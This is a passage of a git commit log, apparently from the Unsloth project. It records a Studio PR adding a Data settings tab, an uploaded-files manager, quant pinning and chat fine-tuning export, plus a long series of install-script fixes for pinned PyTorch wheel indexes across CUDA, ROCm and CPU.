amd-smi's dedicated-usage figure) and recompute utilization against the
corrected total. Adds regression tests.

* Tighten comments in the ROCm/Windows VRAM reporting path

* Tighten comments further in the ROCm/Windows VRAM reporting path

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
2026-07-20 05:27:53 -07:00
Michael Han
65587c2be7
Studio: Data settings tab, uploaded files manager, quant pinning, and chat image preview fix (#7029)
* Studio: Data settings tab, uploaded files manager, quant pinning, image preview fix

Settings
- New Data tab in the settings sidebar, under Connections. Chat data
  management (archived chats, confirm before deleting, exports, import,
  clear all) moved there from the Chat tab.
- New Archive all chats action with confirmation. Archives every chat in
  Recents and Projects; compare pairs count as one chat.
- New Uploaded files manager listing RAG documents (chats, projects,
  knowledge bases) and chat message attachments with location, size and
  date. Files can be opened in a new tab or deleted. Deleting a chat
  attachment keeps the message text.

Backend
- GET /api/rag/documents lists all uploaded RAG documents with file size
  plus KB and project names.
- GET /api/chat/attachments lists chat message attachments; per
  attachment file and delete endpoints included.

Model selector
- Downloaded GGUF quants can be pinned from the quant row (next to the
  settings and delete actions). Pinned quants show at the top of On
  Device under a Pinned heading as model name plus a grey quant chip and
  load directly with one click. Non GGUF cached repos pin as a whole.
- Toned down the green of the downloaded label.

Fix
- Clicking an image attachment in chat now opens the preview overlay.
  The tooltip trigger wrapper called preventDefault before composed
  handlers ran, which made Radix DialogTrigger skip opening.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: image previews and file type chips in uploaded files list

Image attachments now show a small thumbnail (lazy loaded from the
stored bytes, object URL revoked on unmount) and every row shows a grey
uppercase type chip derived from the extension or content type. Non
image rows keep a file icon. Name cell floors its width and clips
overflow so narrow dialogs stay aligned.

* Harden attachment serving, add tests, and polish pinned rows and previews

- Strict base64 decoding for attachment files: corrupt payloads now return
  422 instead of silently serving empty or garbled bytes; whitespace,
  missing padding, the URL-safe alphabet, and RFC 2397 percent-encoded
  data URLs are all handled
- New backend test suite covering attachment listing, size accounting,
  malformed rows, deletion semantics, and every file-serving edge case
- Pinned quant rows show a Loaded tag when that exact quant is active,
  and reveal unpin, settings, and delete actions on hover
- Uploaded files dialog is wider and chat locations link straight to the
  thread the attachment belongs to
- Chat image preview is now a chrome-free lightbox: dimmed backdrop,
  rounded image, corner close button, click outside to dismiss
- File opens go through a synchronous window.open so Safari and Firefox
  popup blockers do not eat them

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Uploaded files: click a file to jump to its chat, square thumbs, new Data icon

- Clicking a file row (thumbnail or name) now goes straight to the chat it
  belongs to; files without a chat open directly as before
- File thumbnails pin a small 7px radius: the theme scales rounded-md up
  to a near circle at this size
- Settings Data tab now uses the database-setting icon

* Uploaded files is now a Data tab subpage instead of a popup

- Manage swaps the tab body for an inline Uploaded files page with a back
  header, matching the rest of settings navigation
- Size column header and values are left aligned like the other columns
- Column widths tightened so the table fits the settings panel

* Lightbox polish and Data tab row order

- Image preview close button is transparent until hovered
- Preview image no longer rounds its corners
- Import chats now sits below Clear all chats in the Data tab

* Data tab: export chats as fine-tuning data and open them in Recipes

- New Fine-tuning section in Settings > Data converts every chat into a
  JSONL dataset in the OpenAI messages format, one conversation per line
  with string-only system/user/assistant turns
- The Train tab detects this file as chatml natively: no column mapping
  and no standardization pass, and it works with train on completions
  since every assistant turn sits behind the chat template response marker
- Consecutive same-role turns merge, trailing turns without an assistant
  reply drop, and reasoning, tool calls, and images are excluded so chat
  templates format the data cleanly
- Open in Recipes stages the JSONL as a local seed upload, creates a new
  Data Recipe with the seed block preconfigured, and jumps to the editor

* Data tab: load chats straight into the Train tab, row moved to the top

- New Load in Train tab button uploads the fine-tuning JSONL through the
  training dataset endpoint, selects it in the training config store, and
  opens the Train tab with the dataset loaded and format-checked
- Use chats as training data now sits at the very top of the Data tab
- The Chats subheading is gone; chat rows flow directly under it

* Address review findings on the uploads manager and quant pins

- Deleting the last attachment stores '[]' instead of NULL: a NULL reads
  back as a missing field and triggers the legacy IndexedDB backfill,
  which resurrected the deleted attachment on the next chat load
- The attachment file endpoint now serves audio: adapter parts store
  {data, format} raw base64 and compare chats store a bare base64 string;
  media type comes from the attachment contentType or the format
- Compare-chat uploads live in message content parts, not attachments;
  the uploads list now includes those blobs via synthetic content-part
  ids that the same get and delete routes resolve
- Deleting a quant from the expanded repo row also unpins it so a pinned
  row cannot try to load a file that no longer exists
- Thumbnails in the uploads list fetch their blob only once the row is
  visible, so a long screenshot history does not download everything
- Nine new backend tests cover audio serving, content-part listing,
  serving, deletion, and the empty-list delete behavior

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Data tab: single action dropdown with format choices for chat training data

- The three fine-tune buttons collapse into one dropdown plus a run
  button; pick Load in Train tab, Open in Recipes, or Export JSONL,
  then click the arrow to run it
- The dropdown's Format section adds ShareGPT and Alpaca alongside the
  default OpenAI messages format, ticked like a checklist; all three
  shapes are auto-detected by the Train tab's format check
- Alpaca is single-turn, so each user to assistant pair becomes its own
  record with the system prompt and earlier turns carried in the input
  column
- Shorter description on the training data row
- Uploaded files rows show the size under the file name instead of a
  separate column, matching the tighter layout

* Polish the training data action control

- Run button is a true circle (icon-sm plus rounded-full) with a
  heavier arrow stroke
- Dropdown trigger uses the shared standard chevron and a fixed width
  so switching actions no longer resizes the control

* Shorten the training data row description

* Use the standard chevron for the run button and enlarge the ticks

- Run button uses the shared standard right chevron so it matches the
  dropdown chevron instead of the hugeicons arrow
- Dropdown ticks bumped up a size for legibility

* Reword the training data row description

* Shorten Data Recipes to Recipes in the training data description

* List Export JSONL first and rename the default format to Chat Completions

* Handle legacy string content in fine-tune exports and gate Train on chat-only hosts

- messageToPlainText now accepts plain-string message content, the shape
  legacy and imported histories store, so those conversations export
  instead of being skipped as having no exchange
- The Load in Train tab action is disabled on chat-only hosts the same
  way the sidebar gates Train; the default action falls back to Export
  JSONL there so the run button never uploads a dataset that /studio
  would immediately redirect away from

* Narrow the training data action dropdown slightly

* Drop the format picker from the training data dropdown

Chat Completions (OpenAI messages) is the only export format we ship, so
the ShareGPT and Alpaca options and the Format section are removed. The
export always uses the OpenAI messages shape.

* Address the second round of review findings

Security
- Chat attachment data URLs no longer echo their embedded media type:
  anything that is not a plain raster image serves as octet-stream, so
  imported text/html or SVG payloads cannot render under the app origin
- Uploaded .html/.htm RAG documents serve as text/plain for the same
  reason; the preview sheet only uses the file URL for PDFs

Uploads manager
- Remote image URLs in imported chats are no longer listed as stored
  uploads (nothing to serve, and delete would strip the chat reference);
  the delete guard mirrors the same data:-only rule
- Deleting a content-part upload refetches the list since the remaining
  parts re-index, keeping sibling row ids current
- Deleting a project document from the Data tab invalidates the project
  sources cache like the sources panel does
- Data-tab deletions now patch the loaded thread's in-memory copy via a
  small event, so a later repo sync cannot write the attachment back

Fine-tune export
- Branch siblings from retries stay out of the exported conversation;
  only the selected chain converts (full exports still keep everything)
- Assistant turns before the first user turn drop, preserving leading
  system prompts, so no unconditioned assistant targets are emitted

Four new backend tests cover the media type clamp and remote-URL rows;
two existing tests updated for the clamped types

* Fix uploaded file lifecycle and model state

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make archived chats a Data settings subpage

* Studio: fix attachment route tests and pinned quant edge cases

- test_chat_attachments: drop asyncio.run around the synchronous
  /attachments routes (list/get/delete are plain def, so asyncio.run
  raised 'a coroutine was expected' and failed the Repo tests CI job).
- test_chat_attachments: align compare-chat content-part assertions with
  the stable content-hash id scheme (content-part-sha256-...) instead of
  the removed array-index ids; resolve ids from the listing.
- pickers: pass disabled={deleteDisabled} to the pinned-quant delete
  action so a quant cannot be deleted mid model-load, matching the
  expanded variant rows.
- pickers: build the pinned-quant existence set from the query-unfiltered
  cached GGUF repos (format filter still applied) so a pinned quant stays
  findable when the search term matches only its quant name.

* Fix Studio review regressions

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Guard fine-tune export content blocks

* Add Export button for archived chats

Adds an Export action to the Archived chats view in Settings > Data that
downloads only the archived chats as a JSON backup (their threads, messages
and projects). The button sits in the archived header row and appears only
when archived chats exist.

* Refactor archived export into pure, testable units

Split the archived-chats export into a dependency-free filter
(archived-chat-export.ts) and a shared JSON download helper
(download-json.ts). Skip the download when nothing is archived so a
stray call never drops an empty file. No behavior change to the button.

---------

Co-authored-by: shimmyshimmer <shimmyshimmer@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
2026-07-20 04:57:44 -07:00
Daniel Han
3ab8dce97a
install: let UNSLOTH_TORCH_INDEX_FAMILY / _URL override CUDA wheel detection (#6692)
* install: let UNSLOTH_TORCH_INDEX_FAMILY / _URL override CUDA wheel detection

get_torch_index_url (and the studio-update mirror _detect_cuda_torch_index_url)
chose the torch wheel family solely by probing the host GPU, with no override.
In a headless / container / CI build the host driver is visible via the
/proc/driver/nvidia/gpus fallback but nvidia-smi cannot report a CUDA version,
so the function fell back to its cu126 default and installed the wrong wheels
(e.g. a cu128 image got cu126 torch).

Add an explicit override checked before any probing, in both the shell installer
and the Python studio-update path:
  - UNSLOTH_TORCH_INDEX_URL   full index URL, used verbatim (wins)
  - UNSLOTH_TORCH_INDEX_FAMILY family (cpu, cu128, rocm6.4, ...) appended to the
                               mirror base (UNSLOTH_PYTORCH_MIRROR still honoured)

This matches how the published GPU images select CUDA -- vLLM and SGLang take the
CUDA version from an explicit build ARG rather than detecting it, and the Unsloth
Docker base image already pins the cu128 index directly. Desktop installs are
unchanged: with no override set, detection runs exactly as before.

Adds test_get_torch_index_url.sh cases for the override (family, full URL,
precedence, mirror base, trailing-slash strip, empty-ignored).

* install: make the torch-index override authoritative across ROCm paths

Address review feedback on the override added in this PR so a pinned index is
honoured everywhere, not just in get_torch_index_url:

- Skip the WSL ROCm bootstrap (root privilege + large downloads, probes
  /dev/dxg) when UNSLOTH_TORCH_INDEX_URL / _FAMILY is set; it previously ran
  before the override was consulted.
- Skip the Radeon/Strix rerouting (which re-probes the GPU and overwrites the
  resolved URL with repo.radeon.com / repo.amd.com) when the index is pinned, so
  an explicit ROCm override (e.g. UNSLOTH_TORCH_INDEX_FAMILY=rocm6.4) is kept.
- install_python_stack.py: derive _TORCH_BACKEND from the override when
  UNSLOTH_TORCH_BACKEND is unset (standalone studio update), so _ensure_rocm_torch
  / _ensure_cuda_torch repair to the requested family instead of re-detecting.
- Strip ALL leading/trailing slashes in the shell override to match the Python
  side (avoids 404s on strict pip proxies).

Adds test cases for double-slash and leading/trailing-slash overrides.

* install: honor pinned torch index in CUDA/ROCm repair paths

Follow-up to the override work in this PR: the get_torch_index_url / install.sh
reroute already respect a pinned UNSLOTH_TORCH_INDEX_URL / _FAMILY, but the
Python repair helpers in install_python_stack.py still re-probed the GPU and
could overwrite the pinned family. Make the pin authoritative there too:

- _ensure_cuda_torch: an explicit cu* pin commits to CUDA wheels, so repair a
  ROCm-poisoned venv even when no NVIDIA GPU is visible here (headless /
  container / CI cross-install), instead of bailing on the GPU-presence gate.
- _ensure_rocm_torch: skip the AMD per-gfx (Strix) reroute when a ROCm index is
  pinned, and in the generic reinstall path install from the pinned URL verbatim
  rather than re-detecting the host ROCm version. gfx*/rocm7.2 indexes serve
  torch 2.11+, so select the 2.11 package specs for a gfx leaf.
- install.sh: raise the torch constraint to 2.11 for */gfx* indexes too, matching
  rocm7.2, so a pinned full-URL/family override that returns early keeps a valid
  constraint.

Add _explicit_torch_index_url / _explicit_rocm_torch_index_url helpers and tests
covering the no-GPU CUDA pin repair and the explicit gfx index honored verbatim.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: honor torch-index override on the Windows installers too

The pinned-index work landed for install.sh and install_python_stack.py, but the
Windows installers still picked the wheel index from GPU probing. Extend the same
UNSLOTH_TORCH_INDEX_URL / _FAMILY contract so a pinned index wins on every platform:

- install.ps1: Get-TorchIndexUrl returns the pinned URL/family before nvidia-smi
  probing; the AMD ROCm reroute is skipped when the index is pinned, so an explicit
  cpu/cu* pin on an AMD host is not overwritten.
- studio/setup.ps1: add shared Get-PinnedTorchIndexUrl / Get-TorchIndexLeaf helpers;
  the stale-venv check, the install selection and the AMD reroute all honor the pin,
  and the CPU/CUDA install pulls from the resolved index URL.
- tests: parity test that all four installers read both override vars and the two
  Windows installers gate the AMD reroute on the pinned flag.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: complete pinned-index handling for ROCm/Windows edge cases

Follow-ups to the override work flagged in review:

- install.ps1: a pinned gfx*/rocm>=7.2 index previously skipped the AMD reroute
  that sets the torch>=2.11 floor, so the generic install used torch>=2.4,<2.11
  and could resolve the known-bad _grouped_mm wheel. Route a pinned ROCm index
  through the ROCm install path with the 2.11 floor + companions, and guard the
  companion-spec lookup so a skipped reroute block cannot null-deref.
- studio/setup.ps1: the stale-venv check compared the installed flavor (cuXXX/cpu,
  with +rocm misread as cpu) against the raw pinned leaf (gfx1151 / rocm6.4), so a
  correct pinned ROCm venv was always marked stale. Classify +rocm wheels as the
  generic 'rocm' flavor and normalize a pinned rocm*/gfx* leaf to 'rocm' before
  comparing (cu* stays specific so cu126-vs-cu128 still rebuilds).
- install_python_stack.py: _ensure_cuda_torch now also reinstalls from a pinned
  CUDA index when the venv carries a CPU wheel (headless CPU-venv-to-CUDA
  cross-install via 'studio update'), not only when it finds a ROCm build.
- tests: parity assertions already cover all four installers honoring the override.

* install: finish pinned ROCm/CUDA edge cases on Windows + repair path

Follow-ups to the previous round:

- studio/setup.ps1: a pinned gfx*/rocm>=7.2 index now routes through the ROCm
  install path with the 2.11 floor + companions (it previously fell through to the
  CUDA branch with bare torch/torchvision/torchaudio against the ROCm index). The
  CPU/CUDA fallback index is forced to the CPU wheel index when a ROCm index is
  active, so a failed pinned-ROCm install does not retry the ROCm mirror.
- studio/setup.ps1: the stale-venv check no longer treats an unrecognized pinned
  URL leaf (e.g. a PEP 503 mirror ending in /simple) as a torch flavor tag, which
  was marking a correct venv stale; cu*/cpu/rocm/gfx leaves are still compared.
- install.ps1: the post-failure CPU fallback uses an explicit CPU index instead of
  , which for a pinned ROCm index was the ROCm mirror itself (so the
  'fallback' just retried the failing index and aborted the installer).
- install_python_stack.py: _ensure_cuda_torch now also reinstalls when the venv's
  CUDA family differs from a pinned one (installed cu126 vs pinned cu128), not only
  CPU->CUDA; the probe reports the installed cuXXX tag for the comparison.

* install: keep the ROCm to CPU fallback install inside the retry-helper window

The pinned-ROCm CPU fallback computes an explicit CPU index, but the comment
explaining why it cannot reuse $TorchIndexUrl pushed the actual
Invoke-InstallCommandRetry / --force-reinstall call more than 600 chars past the
"ROCm PyTorch install failed" message, so test_pr5940_followups's window check
no longer saw the retry helper. Move the CPU-index computation and its comment
above the failure substep so the retrying force-reinstall stays adjacent to the
message. No behavior change: same explicit CPU index, same retry, same
--force-reinstall.

* install: address #6692 review round 5 (ROCm/CPU pin edge cases)

setup.ps1:
- Stale-venv check: treat an AMD/ROCm host (HasROCm or a resolved gfx arch) with
  no explicit pin as expecting "rocm", not "cpu", so a healthy +rocm venv is not
  flagged stale (which made installer-managed setup exit and direct update rebuild).
- Pinned-ROCm install failure now routes into the force-reinstall CPU branch:
  CuTag stays the rocm/gfx leaf on failure, so the condition also checks
  ROCmCpuFallback; otherwise the CUDA branch installed from the CPU index without
  --force-reinstall and kept the partial ROCm torch.
- Explicit ROCm pin compare no longer collapses gfx*/rocm* to a generic "rocm":
  it compares the +rocmX.Y version (and the torch 2.11 line for gfx pins) so
  changing the pinned family (e.g. rocm6.4 -> gfx1151) rebuilds and applies it.

install_python_stack.py:
- _ensure_rocm_torch: an explicit ROCm wheel-index pin now bypasses the
  NVIDIA-present / no-AMD-GPU / unreadable-ROCm gates (headless/container/CI
  cross-install), mirroring the explicit-CUDA-pin bypass in _ensure_cuda_torch.
- Add _ensure_cpu_torch: an explicit CPU pin (FAMILY=cpu or /cpu URL) now has a
  repair path that reinstalls CPU torch over an existing CUDA/ROCm build on a
  standalone update (which skips install.sh's flavor enforcement).

install.sh:
- Pin torchvision/torchaudio companions alongside torch for the rocm7.2 / per-gfx
  index and the Strix reroute (those AMD indexes publish companions independently
  and a bare name can resolve a torch-2.12-built wheel, an ABI mismatch).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* torch-index override: classify CUDA pin by leaf; trim blank shell overrides

_ensure_cuda_torch only overrode the NVIDIA-presence gate for *any* pinned index,
so a non-CUDA mirror URL (or a ROCm/CPU pin) on a non-NVIDIA host with ROCm torch
could force a CUDA reinstall over a working ROCm venv. Add
_explicit_cuda_torch_index_url() (leaf cu*), matching the ROCm/CPU helpers, and
gate on it instead.

install.sh::get_torch_index_url treated a whitespace-only UNSLOTH_TORCH_INDEX_URL
/ _FAMILY as authoritative (yielding an invalid index), unlike the Python .strip()
and PowerShell IsNullOrWhiteSpace paths; trim leading/trailing whitespace first.

* install: honor pinned torch index over CVD/GPU gates and fix leaf-based ROCm classification

- install_python_stack.py: an explicit cu* pin now clears the CUDA_VISIBLE_DEVICES
  empty/-1 hide gate as well as the NVIDIA-presence gate, so
  CVD=-1 UNSLOTH_TORCH_INDEX_FAMILY=cu128 studio update repairs to CUDA wheels
  (parity with install.sh's get_torch_index_url override, which skips all GPU
  probing). Unpinned CVD=-1 still skips.
- install_python_stack.py: _ensure_cpu_torch installs the bounded _CPU_TORCH_PKG_SPEC
  instead of a bare torch/torchvision/torchaudio trio; the /cpu index now also
  serves torch 2.11+, which is outside the supported <2.11 range.
- install.sh: the torch>=2.11 constraint case matches the index leaf (rocm7.2|gfx*)
  instead of the whole URL, so a mirror base path containing a gfx/rocm7.2 segment
  with a cu*/cpu family is not false-matched onto the 2.11 line.
- setup.ps1: the stale-venv check expects rocm torch only for arches the install
  path maps to a repo.amd.com wheel index; an unmapped/unreadable arch installs
  CPU, so a correct CPU venv is no longer marked stale.
- Tests for each of the above.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: tighten pinned torch-index override edge cases

- install.sh: trim whitespace-only UNSLOTH_TORCH_INDEX_URL/_FAMILY before the
  _torch_index_pinned guard, matching get_torch_index_url, so a blank override no
  longer skips the WSL bootstrap and Radeon/Strix reroutes while detection still
  picks the normal index.
- install.sh / install.ps1 / setup.ps1 / install_python_stack.py: force the torch
  2.11 floor only for the gfx families with the <2.11 _grouped_mm bug (gfx120X-all,
  gfx1151, gfx1150). A pinned override to gfx110X-all/gfx90a/gfx908 stays on the
  default range, matching the automatic AMD path.
- install_python_stack.py _ensure_cuda_torch: treat an untagged CUDA build under a
  CUDA pin as a family mismatch (reinstall), and match cuXXX pins narrowly (cu +
  digits) so a custom/current mirror leaf no longer forces CUDA over a CPU/ROCm venv.
- install_python_stack.py _ensure_rocm_torch: reinstall when an explicit ROCm pin
  names a different ROCm family than the already-installed ROCm torch (the ROCm
  analogue of the CUDA cuXXX mismatch repair).

Adds tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: fix second-order edge cases in pinned torch-index ROCm/CUDA handling

Parse the ROCm torch probe positionally so an empty HIP marker is kept:
CPU/CUDA torch no longer reads as HIP, so the ROCm reinstall is not skipped.
Emit one "<marker>|<version>" line (like the CUDA probe) for a robust parse.

Limit the gfx torch 2.11 expectation to the install allowlist
(gfx120X-all/gfx1151/gfx1150). A pinned gfx110X-all/gfx90a/gfx908 index stays
on the default <2.11 specs, so a correct 2.10+rocm wheel is no longer judged a
mismatch and force-reinstalled every update.

Distinguish an AMD per-arch wheel (three-part +rocmA.B.C) from a generic
pytorch.org wheel (two-part +rocmA.B): a gfx per-arch pin over a generic 2.11
wheel now reinstalls the per-arch wheel, while an already-installed per-arch
wheel is not re-flagged (no reinstall loop).

Mirror all of the above in setup.ps1 via new Test-RocmGfx211Leaf /
Test-CudaFamilyLeaf / Get-RocmPinStaleTags helpers, reused by both the
install-spec path and the stale-venv check so they cannot diverge again.
Require a digit after "cu" (^cu[0-9]) in setup.ps1, install.ps1 and install.sh
so a mirror leaf like /custom or /current is not branded CUDA and does not
rebuild the venv every run.

Add tests: CPU/CUDA probe -> has_hip_torch False; gfx110X-all pin + 2.10 wheel
not stale; gfx1151 pin + generic 2.11 wheel stale; gfx1151 pin + per-arch wheel
not stale; /custom and /current not CUDA; plus cross-language allowlist and
cu-digit parity guards, and a PowerShell unit test for the new setup.ps1 helpers.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix ROCm/gfx pin case normalization, ROCm-tag requirement, and CUDA-leaf classification

Normalize torch-index leaves to lowercase before the gfx*/rocm*/cu* allowlist
matches so the canonical gfx120X-all (capital X) gets the torch 2.11 floor in
install.sh (leaf, flavor and repairable helpers). Require an installed +rocm
local tag before a rocmX.Y or non-2.11 gfx pin is judged satisfied in
setup.ps1 Get-RocmPinStaleTags and the Python _rocm_pin_family_mismatch, so an
untagged CPU/CUDA wheel never leaves the pin unapplied. Classify a leaf as CUDA
only via ^cu[0-9]: the Python _TORCH_BACKEND derivation now uses
_is_cuda_family_leaf, and install.sh brands cuda only on cu[0-9]* (unset on an
unknown /current /custom mirror leaf) so the stack probes the GPU instead of
skipping ROCm repair. Add bash, Python and PowerShell tests for capital
gfx120X-all floor, current/custom not-cuda, and untagged-wheel ROCm pins.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: converge torch-index pin detection via a per-venv marker

Introduce a torch-index MARKER that records the exact wheel --index-url used
after each successful torch install, so `unsloth studio update` / repair makes
the "did the pinned index change?" decision by an EXACT string compare rather
than inferring it from the wheel +rocm/+cu version tag. The tag cannot encode
the AMD per-arch gfx family (two 2.11 gfx indexes both install +rocm7.13.0), so
the tag heuristic missed a gfx1151 -> gfx120X-all switch and a custom-URL swap.

Marker path is per-venv (.unsloth-torch-index), one line = the resolved index
URL, written atomically (temp + rename). Path, format and normalization are
shared across all four installers (install.sh, install_python_stack.py,
setup.ps1, install.ps1).

- Reapply gfx pins on a per-arch target change: the marker's exact compare
  reinstalls when the pinned index differs, even when both wheels share a tag.
- Honor custom ROCm URL pins during repair: an explicit index whose leaf is not
  rocm/gfx/cu/cpu (e.g. simple, current) now reinstalls torch VERBATIM from the
  pin when it differs from the marker ("URL wins verbatim").
- Align the KNOWN-2.11 rocm/gfx set to exactly rocm7.2 plus the gfx allowlist
  gfx120x-all/gfx1151/gfx1150 in every language; stop treating an unknown newer
  rocm (rocm7.3, which does not exist) as the 2.11 line speculatively.

Backward compatible: with no marker (old venvs, torch installed out-of-band) the
existing +rocm/version-tag heuristics still decide, and a matching marker never
reinstall-loops. A cu128 CUDA pin stays a CUDA pin; custom and current leaves are
not CUDA. Adds marker tests (py/sh/ps) plus cross-installer parity checks.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: keep the torch-index marker additive to flavor validation

Three narrow fixes in the marker-based stale-venv detection:

- setup.ps1: a matching marker no longer overwrites the detected installed
  flavor. The marker compare is now an additional rebuild trigger, so a stale
  wheel (torch swapped to a +cpu build while the marker still records a cuXXX
  pin) is still caught by the flavor check instead of being masked as up to date.

- setup.ps1: a supported AMD arch carrying CPU torch is no longer marked stale
  and wiped. The downstream AMD Windows ROCm override upgrades CPU torch to ROCm
  in place, so wiping first would delete the venv and abort with "Virtual
  environment not found". Only a genuinely wrong CUDA wheel still rebuilds.

- install.sh: the Radeon --find-links path records its repo.radeon.com base in
  the marker instead of the generic pytorch.org ROCm fallback index, so a later
  pin to that generic family correctly reinstalls rather than comparing equal.
  Mirrors install.ps1/setup.ps1, which already record the real AMD index.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: honor custom pins and repair pinned venvs in place

Four follow-ups to the torch-index marker work:

- install_python_stack.py: _ensure_cuda_torch/_ensure_rocm_torch now bail when an
  explicit custom-index pin names no known torch family, so a verbatim URL override
  (a private/simple mirror) is not clobbered by auto-detected CUDA/ROCm wheels
  before _ensure_verbatim_torch_index applies it.

- install_python_stack.py: the ROCm marker is additive, not a substitute -- a
  matching marker still runs the family/version check so a wheel swapped after the
  marker was written is caught. Mirrors setup.ps1.

- setup.ps1: a stale venv under an explicit pin, whose torch still imports, is
  repaired in place (force-reinstall torch from the pin in the dependency pass)
  instead of wiped. The wipe path only delegates to install.ps1, so on a direct
  update it stranded the user at "Virtual environment not found" instead of
  applying the new pin. A broken venv or unpinned drift still wipes/delegates.

- install.ps1: when a pinned ROCm install fails over to a CPU base, the marker now
  records the CPU index actually used instead of the ROCm pin, so the next managed
  setup does not see CPU torch under a ROCm pin and abort as stale.

* setup.ps1: keep the ROCm CPU-fallback force line the pr5940 test guards

5c93ffd4 folded the pin-change force-reinstall into the ROCm CPU-fallback
condition on one line, so the exact literal that test_pr5940_followups.py checks
(if ($ROCmCpuFallback) { $cpuForce = @("--force-reinstall") }) no longer appeared
and the test failed. Split the two conditions into separate if lines: the ROCm
fallback line is restored verbatim and the pin-change force is its own line. Both
still set $cpuForce to the array, so @splat passes one arg.

* install: honor exact CUDA/custom index URL pins in the torch-index marker

Address three Codex review findings on the torch-index marker mechanism:

- install.sh: after the ROCm CPU repair reinstalls torch from the generic
  $TORCH_INDEX_URL, record that as the marker source. A Radeon --find-links
  install set _TORCH_MARKER_INDEX_URL to its repo.radeon.com base earlier, so
  leaving it made the marker misreport Radeon wheels and a later Radeon pin would
  compare equal and skip a needed reinstall.

- install_python_stack.py: _ensure_cuda_torch now consults the exact-URL marker
  (_marker_pin_mismatch) when the installed +cuXXX tag matches the pinned leaf,
  so a same-leaf CUDA mirror change (official cu128 to an internal cu128 mirror)
  is reinstalled and re-recorded instead of skipped.

- _normalize_index_url / _normalize_family_leaf (install.sh, setup.ps1,
  install_python_stack.py): lowercase only KNOWN wheel-family leaves (rocm/gfx/
  cpu/cuXXX) so gfx120X-all still matches gfx120x-all, while a custom
  (unknown-family) leaf keeps its case so a verbatim URL pin like /Current does
  not compare equal to /current. Tests updated to assert the refined behavior.

* install: fix 3 torch-index marker edge cases (CPU mirror pin, Radeon leaf, migrated venv)

Addresses three review findings on the torch-index override path:

1. CPU index URL change on an already-CPU venv. _ensure_cpu_torch returned
   early whenever torch was already a CPU build, so a standalone update that
   moved the pin (official /cpu -> a private UNSLOTH_PYTORCH_MIRROR /cpu, same
   +cpu tag) never reinstalled. It now consults the exact-URL marker and
   reinstalls only when _marker_pin_mismatch reports a different index,
   mirroring the CUDA/ROCm same-family handling. A matching marker (or none)
   still leaves CPU torch untouched, so there is no reinstall loop.

2. Radeon find-links directory misclassified as a pip ROCm family. A
   repo.radeon.com/.../rocm-rel-7.2.1 leaf starts with "rocm" but is a
   find-links listing, not a pip --index-url. The old startswith(("rocm",
   "gfx")) test routed it into a --index-url reinstall that fails against
   find-links. New _is_pip_rocm_family_leaf gates on ^rocm\d / gfx (matching
   install.sh's rocm[0-9]* and setup.ps1's ^(rocm[0-9]|gfx)), so a Radeon URL
   routes to the verbatim/marker path instead.

3. Migrated venv rewriting its marker to a pin it did not install. install.sh
   and install.ps1 write the marker unconditionally, so a migration that
   preserves existing torch recorded the newly requested pin and a later
   update then found a matching marker and skipped the reinstall the pin
   needs (e.g. a per-arch gfx1151 -> gfx120X-all switch, identical +rocm tag).
   Both now track _TORCH_INSTALLED_THIS_RUN and write the marker only when
   torch was actually installed or repaired this run.

Also add Get-NormalizedFamilyLeaf to the setup.ps1 helper-extraction list in
test_torch_index_marker.ps1 (it was added to setup.ps1 and the shell test in an
earlier round but missed here) and add two unit tests covering findings 1 and 2.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: keep pinned torch repairs on the pinned index

Two fixes for explicit index pins (UNSLOTH_TORCH_INDEX_FAMILY / _URL):

1. install_python_stack.py's repair paths ran uv without clearing the
   inherited uv index env vars. uv resolves the default index (--index-url
   or --default-index) at the LOWEST priority, so a UV_INDEX or
   UV_EXTRA_INDEX_URL mirror in the environment won for any package it
   served: a cu128-pinned repair could install torch from the mirror and
   then record the cu128 marker it never used. Verified empirically: with
   UV_EXTRA_INDEX_URL=.../cu126 exported, uv pip install torch
   --index-url .../cu128 resolves torch 2.13.0+cu126. Strip the four uv
   index env vars for pinned-index commands only, mirroring the gate
   install.sh, install.ps1 and setup.ps1 already have; non-pinned installs
   keep the user's mirror.

2. install.ps1 routed any pinned leaf matching rocm* through the ROCm
   --default-index path, so a custom find-links leaf like rocm-rel-7.2.1
   was treated as a PEP 503 ROCm index and could silently fall back to CPU
   torch on resolution failure. Require a digit after rocm, matching
   install.sh's rocm[0-9]* and install_python_stack.py's ^rocm\d.

Adds parity + unit tests for both (11 new tests).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: keep pinned repairs off UV_TORCH_BACKEND and narrow setup.ps1's rocm pin match

Round 2 of the pinned-index hardening:

1. _build_uv_cmd converted UV_TORCH_BACKEND into --torch-backend before the
   new env isolation could act, and uv's torch backend redirects torch
   resolution to its own per-backend index even when --index-url is given
   (verified: a cu128-pinned dry run with UV_TORCH_BACKEND=cpu resolves
   torch 2.13.0+cpu). Pinned-index commands now never receive the flag and
